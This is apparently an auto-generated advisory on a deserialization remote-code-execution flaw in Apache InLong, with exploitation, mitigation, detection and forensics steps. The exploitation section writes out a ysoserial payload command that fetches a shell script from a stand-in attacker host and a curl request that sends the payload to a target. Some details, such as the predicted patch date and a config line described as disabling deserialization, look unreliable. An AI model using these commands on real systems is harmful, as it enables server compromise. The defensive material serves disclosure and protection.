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How the CVE Works
CVE-2025-27522 is a deserialization flaw in Apache InLong (versions 1.13.0 to 2.1.0) allowing remote attackers to execute arbitrary code by sending maliciously crafted serialized objects. The vulnerability bypasses prior fixes for CVE-2024-26579, exploiting improper validation during data deserialization. Attackers leverage this to inject harmful payloads, leading to server compromise. The flaw resides in the data ingestion pipeline, where untrusted input is deserialized without proper checks.
DailyCVE Form
Platform: Apache InLong
Version: 1.13.0 – 2.1.0
Vulnerability: Deserialization RCE
Severity: Critical
Date: 06/03/2025
Prediction: Patch by 07/15/2025
What Undercode Say:
Exploitation:
- Payload Crafting: Use ysoserial to generate malicious serialized objects.
java -jar ysoserial.jar CommonsCollections5 "curl attacker.com/shell.sh" > payload.bin
- Trigger Exploit: Send payload via InLong API endpoint.
curl -X POST -H "Content-Type: application/json" --data-binary @payload.bin http://target:8080/api/ingest
Mitigation:
1. Immediate Workaround: Disable remote deserialization in config.
inlong.deserialization.allowlist.enabled=true
2. Patch Upgrade: Update to InLong 2.2.0 or apply PR 11732.
Detection:
- Log Analysis: Monitor logs for abnormal deserialization attempts.
grep "java.io.InvalidClassException" /var/log/inlong/error.log
- Network Inspection: Block suspicious serialized data at WAF.
location /api/ { deny all; } Temp block vulnerable endpoint
Forensics:
1. Memory Dump: Capture JVM heap for analysis.
jmap -dump:live,file=heap.bin <pid>
2. Exploit Artifacts: Check for spawned processes.
ps aux | grep -E "sh|wget|curl"
Permanent Fix:
- Implement strict allowlisting for deserialized classes.
- Use safer data formats (e.g., JSON) instead of Java serialization.
No further commentary.
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
